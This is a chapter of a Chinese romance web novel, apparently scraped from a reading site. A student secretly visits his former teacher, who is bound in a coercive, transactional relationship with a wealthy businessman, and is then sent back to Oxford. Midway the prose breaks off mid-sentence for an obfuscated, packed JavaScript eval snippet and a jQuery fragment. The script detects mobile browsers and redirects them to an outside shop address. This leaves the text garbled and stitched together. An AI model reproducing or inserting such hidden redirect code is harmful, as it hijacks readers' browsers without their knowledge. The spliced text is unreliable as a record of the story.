26. 第 26 章
    第二天的下午,客人陆续离开,曾闰成从早餐到中餐到送客一直没有出现,这在正常社交确实是比较失礼的了,之前没有介绍认识也就算了,昨晚才共度了一个愉快的夜晚,今天就不见人影。

    其他人还好,克劳斯和德里亚都表示想去慰问一下李总裁“生病”的half another,不过在主人委婉的谢绝后,也只能怏怏离去。

    傅廷恩和江永安站在客房的玻璃花窗后面,看着庭院里寒暄告别的一群人。

    “哥们,我们也得走了。”江永安提醒傅廷恩。

    “不行!我一定要去见见他。”曾闰成一直没露面,傅廷恩心里有种不太好的预感,一上午忧心仲仲。

    “李景麟不会肯的,你没听那什么,委内瑞拉小姐在餐桌上提出要去探望一下生病的人,他怎么说的?‘实在抱歉亲爱的德里亚小姐,我替闰成感谢你的关心,但是为免传染,探望就免了,下次……’”

    江永安学着李景麟说话的强调,“啧啧啧,不就昨晚上陪人家跳了两个舞吗?他连女生都这么提防,绝不可能答应你的探视。”江永安不敢太刺激恋爱恼,能让李景麟不让他露面,还不知道被折|腾得有多狠……

    “他这是禁锢人身自由,我不管,我现在就要去找曾老师,难不成他还能打我?”傅廷恩焦急的踱步,甩开手就想下楼去,客楼和主卧之间要穿过一个庭院。

    江永安一把拖住,“哎,不管怎么说,在别人家里乱走是失礼的。再说,”他点他死穴,“他是不能拿你傅公子怎么样,但是会对曾老师怎么样就很难说,你没看他昨晚上那个脸色……”

    “可是,我今天无论如何要见到他,”傅廷恩挣开他的束缚,江永安往窗户上一瞅,“呃?”他松开手,“李景麟竟然也走了?”

    送走其他人后,Alex指着天色不知道跟李景麟说了一堆什么,反正几番拉扯之后,三人上了一台房车,保镖和管家紧随其后,管家手里提了高尔夫球包。“看样子是那个Alex拉他打高尔夫。你赶紧的!”

    “嗯。”傅廷恩踢踢踏踏的皮鞋声叩响大理石地板,穿过庭院,进入主楼,足音消失在羊毛地毯之中。

    他径直走到二楼东边的主人房门前,轻轻敲了敲,没有回应,伸手扭动门上的铜把手,厚重的木门无声无息的打开了,室内恒温,即使光线暗沉也看得到的豪华宽敞。

    他向床的方向走近,一丝如兰如麝的气息在空气中萦绕,这两年的浪荡生活,让傅廷恩明白这一丝气息意味着什么,心里翻搅似剧痛起来。甚至让他停下脚步,微微弯了一下腰,才勉强抑住那股酸楚。

    房间拉了窗帘,暗沉沉的,只有交界处露出一线天光,黯淡的投射在床上半卧的人影身上。

    傅廷恩的脚步踩在地毯上悄无声息,随着靠近,那张熟悉的面孔出现在厚实的枕堆里,他似乎陷入了梦魇,牙齿咬着嘴唇,浓睫微微颤动,长眉皱起,脸上是一种痛苦纠结的表情。睡袍的领口敞开,半露的胸膛上青紫交错的痕迹一直蔓延到脖颈。

    看着是情色靡靡的场景,傅廷恩却完全无法控制自己的情绪,眼泪一下子就掉下来,猝不及防的摔落在那赤|裸的胸膛上,床上半睡半醒的人似被烫到,猛然睁开了眼睛,和青年的泪眼对视在了一起。

    空气彷佛凝固了一般。

    却在此时,门口又传来轻轻的敲击声,曾闰成怔愣的眼神里闪过一丝慌乱,他指了指衣帽间。

    傅廷恩愣住,想要开口,曾闰成已经用祈求的神色看着他,他对他这种神色是毫无抵抗力的,依言走进了衣帽隔间。

    两三阵敲门声过后,一个窈窕的身影闪了进来,是苏秘书,她将手里端着的一盏参汤放在床头。又按了一下床头按钮,电动窗帘打开了遮光层,房间里稍显亮堂了些许。

    曾闰成拉了一下睡袍,脸庞偏向另一边。

    “闰成,我是来跟你道歉的,跟你导师的沟通是我在进行的。你申请到海德堡大学的博士不容易,德国人又比较严谨,由你去提出更换半工合同的话,怕影响他对你的印象。”

    苏秘书的语调永远诚恳亲切,语音不疾不徐,满满的都是为你着想,“李总不会管这些细枝末节,是我没有提前跟你沟通,想着马上会见面,再当面跟你解释……”

    “你不用替他描补,我不是第一天认识他。”曾闰成开口,声音带着点低沉沙哑,“没什么事你就出去吧,我想休息一下。”

    苏秘书轻叹口气,站起身,却没有挪动脚步,“闰成,你跟了老板也快三年了,他是个什么样的人想必你也很清楚。”

    “之前你说永不相交的时候,他也没有任何打扰你的举动。不管出于什么原因,你既然选择了接受,就应该摆正自己的位置。何况,老板对你的感情相信你是明白的,骨髓移植那段时间,即使你在医院,只能隔着玻璃窗探视,他也会飞来柏林,再忙,在飞机上办公,也会把时间挤出来。我跟了他这么多年,没有见过让他更上心的人……”

    “苏秘书,我是学数学的,”曾闰成打断她,转成平躺,“如果谈感情,没有最没有更,只有有且仅有!”他眼睛投向天花板,“只有在一段交易里,我才需要摆正自己的位置。”

    苏秘书一时怔住,不自觉的说了一声sorry。静了半晌,换了一种更为诚恳的语气,“闰成,日子还长,老板是脾气不好但对你的心意是绝无敷衍的。”

    她顿了顿,“集团近期一直在跟梅奥诊所和克利夫兰医学中心沟通接洽,想为小霞研制更好的靶向小分子药物。”她的目光不动声色的在曾闰成面庞上转动,如愿看到他淡漠的眼神起了波纹。

    “所以半工合同确实更适合你照顾小霞的身体,老板不希望你在外住宿的心情,想必你也可以理解。”

    片刻之后,曾闰成才出声道,“是,我理解并且接受。你可以出去了。”

    “好,你好好休息,我让Tina来给你按摩放松一下。”

    苏秘书带上门出去了,傅廷恩从衣帽间走出来,两人的目光无声对视。

    傅廷恩走到床边,蹲下身去,凝视着曾闰成那双比星辰还要明亮的眼睛,突然间就泪如滂沱。

    他不是傻子,甚至还很聪明,苏秘书的只言片语已经让他明白了前因后果。

    他一个字也没有说,只是用颤抖的手解开胸前的两颗纽扣,一块翠碧点缀在白皙坚硬的胸膛上,是那块平安扣。

    当年他负气扔出了窗口,却还是满花园的翻找了回来,这是他留给他唯一的念想,他舍不得丢掉。

    曾闰成是吃软不吃硬的,当这个大男孩无声的在他面前痛哭,把他精心挑选的礼物一直随身佩戴,即使他没有给予任何回应。

    他很难做到不动容。“廷恩,”他微微前倾,伸手摸了摸那块平安扣,“你先回去,回伦敦去吧。”

    傅廷恩攥住他的手,疯狂的摇头,哽咽着说不出话来。

    “廷恩,”曾闰成叹口气,“我一直很想跟你说声对不起,或许我不该隐瞒你,但是我真的不想让你知道这些……”

    没有人不要面子,他窥见了傅廷恩对他的爱慕,甚至隐约清楚自己内心的悸动。因此愈发不愿意让他知道他身处一段交易中,他在出卖着什么……

    然而纸终究包不住火,这种难堪在命运的安排和傅廷恩执着的探究下还是无可避免的暴露人前。

    门口传来轻轻的叩响,Tina提着按摩箱走了进来,看到房间里有别人吓了一跳。“闰成……”甜美的港音呐呐的,“有客人啊……”

    曾闰成低声道:“廷恩,回去吧。”不要再来了。看清了其实也好,或许以后就不会再搅和进这不堪的关系里,而他也能平静的接受自己选择的路。

    傅廷恩站起来,深深的看了他一眼,抹了一把脸上的泪水,退出了房间。

    他经过Tina身畔,Tina目不转睛的看着他,立刻认出他是昨天弹钢琴的那一位。

    她昨晚充当荷官,站在发牌的位置,刚好可以一眼看到傅廷恩。帅哥养眼,谁不想多看两眼,然后她就发现这个帅哥手下钢琴曲无需伸目自然流畅,眼神则毫无遮掩的凝注在曾闰成身上。

    今天又看到这一幕,顿时有一些不好的预感。

    她一边给曾闰成按摩整条小腿,一边低声说道:“闰成,你可千万不要被美色迷惑,老板如果发火是很可怕的……”

    但凡剧烈的运动过后,肌肉都会紧张,作为专属按摩师,Tina是见过李景麟暴虐的那一面的,而且据小道消息,那次的血腥场面只是与商场上的事有关,如果牵涉到感情……简直让人不敢想。

    “Tina,他只是我曾经的学生,”曾闰成斟酌了一下,“你能不能不要跟苏秘书说这件事情,以免造成误会。”

    Tina点头,“闰成你放心,这是你的私事。我只做自己分内事。”港人一向十分注重个人隐私。

    但是女人的八卦天性让她不免内心暗自咋舌,还是师生!难怪这个帅哥看起来年纪要小一些!哎,可惜了,不然看他看向闰成的眼神,一定会很珍惜,不会像老板这么粗鲁。她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422356|141360||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看着曾闰成四肢重叠的青紫痕迹,不由得感叹。

    ——————————————————————————

    苏秘书找到客楼,江永安隔着老远喊她,“苏姐,哎呀,苏姐怎么亲自过来?”江永安一个老妈两个亲姐,早练出了一张甜嘴。

    “江少爷。”苏秘书不假辞色。

    “哎呀,苏姐别这么见外嘛,叫我永安就好。”

    “另一位,傅少爷呢?”她转目四顾。

    江永安指指楼下,“那呢。”

    苏秘书转头看到傅廷恩从庭院走上客楼,身后跟着曾闰霞,小姑娘追着他跑。

    “廷恩哥,你们就要走了吗?”

    “廷恩哥,你下次什么时候来看我呀?”

    “廷恩哥,伦敦很远吗?我能去看你吗?”叽叽喳喳没有停歇的时候。

    等两人走过来,苏秘书扬声喊Mary,“带小姐去用下午茶,先吃一点东西,过会再吃药。”她用英语吩咐道。

    曾闰霞只好跟傅廷恩道别,又嘱咐他一定记得WhatsApp上面回消息给她,才依依不舍的跟着菲佣走了。

    苏秘书将手里的礼盒递给江永安,“谢谢二位带来的美酒,这瓶是李总吩咐我准备的回礼。”

    江永安瞄一眼盒子上的英文,是苏富士拍卖行拍出的一瓶威士忌,上面有各种标注,价格大概是他们送来那瓶的十倍。

    “机票已经给二位订好了,等会司机送二位去机场时间刚刚好。”完全不需要他们提供任何信息,机票就已定好,是苏秘书能干的体现。

    “很抱歉李总不能亲自送二位了,但是李总一般都在金城,希望下次见面是在金城。”

    她笑眯眯的表达了她的老板不希望在国外再见到他们的意愿,看一眼始终木着一张脸的傅廷恩,“再会。”

    她转身走了,伴随着高跟鞋清脆的足音,袅袅婷婷的身影消失在走廊尽头。

    ——————————————————————————

    江永安原以为要费一番口舌才能让说服傅廷恩离开柏林,没想到傅廷恩二话不说就上了飞机,虽然冷着脸,情况也已经比他想象的好太多。

    “这个李叔叔好阴险,自己前脚走,后脚就让苏秘书来赶我们!真是一点缝隙都不留!”

    上了飞机江永安还在忍不住吐槽,“你这么听话的吗?让你回伦敦就真回去了?是不是想通了?哎,咱大伦敦可是腐国之都,帅哥真是要多少有多少,又到春季学期开学季,多少鲜嫩小学弟……”

    “对!已经开学了!我要抓紧时间!”傅廷恩喃喃自语,又一把抓住江永安,“永安,你一定要帮我!”

    “帮……帮你什么?”江永安被他脸上的热切都弄结巴了,自己只说了个开学了吧,难道是启动了什么魔法咒语?

    “这个学期我要交换到海德堡大学去!”

    “什么?!”如果不是在飞机上,江永安就要跳起来了,“你要从牛津的基督教会学院交换到海德堡去?你知道每年有多少想要交换进来的吗?!”

    “我知道!但我一定要去海德堡,我要……”他抬起头,眼眶又泛红了,“去他身边。”

    江永安无了个大语,按住他脑袋,作势扒开他一头黑发,“来来来,让我看看顶级恋爱恼到底怎么长的?让我长长见识!”

    傅廷恩挡住他想要肆虐的双手,江永安无奈的叹口气,“你知道一般交换生是这个学期申请,下个学期开始的吗?”

    “我知道,所以你得帮我。”

    “怎么帮?”

    “等会你开车,最快速度送我到学院交流处。”傅廷恩看了一下手表。

    从柏林飞伦敦机场一个多小时,他们在机场取了自己的车,直接往牛津大学开,又是一个小时。

    傅廷恩一上车,就从扶手箱里拿出苹果电脑,噼噼啪啪一顿操作,然后拿起电话开始狂打,一会英语一会德语一会京腔普通话,表情、说话的态度、内容也随着交流对象的不同各种变换。

    江永安一路欣赏戏剧之变脸一路狂飙,终于成功的赶在学院交流处下班之前,把傅廷恩送到了那栋古老的建筑楼下。

    看着傅廷恩飞奔而去的背影,江永安不禁回想起在凌倩的生日party上,傅廷恩当众宣布喜欢男生的那一幕,这男人确实一直都很勇!

    如果说之前留意傅廷恩只是因为他的身材长相和能打,那么那次之后确实是很想靠近这个人,只可惜他的心里从那个时候就有了别人,再也挤不进去了……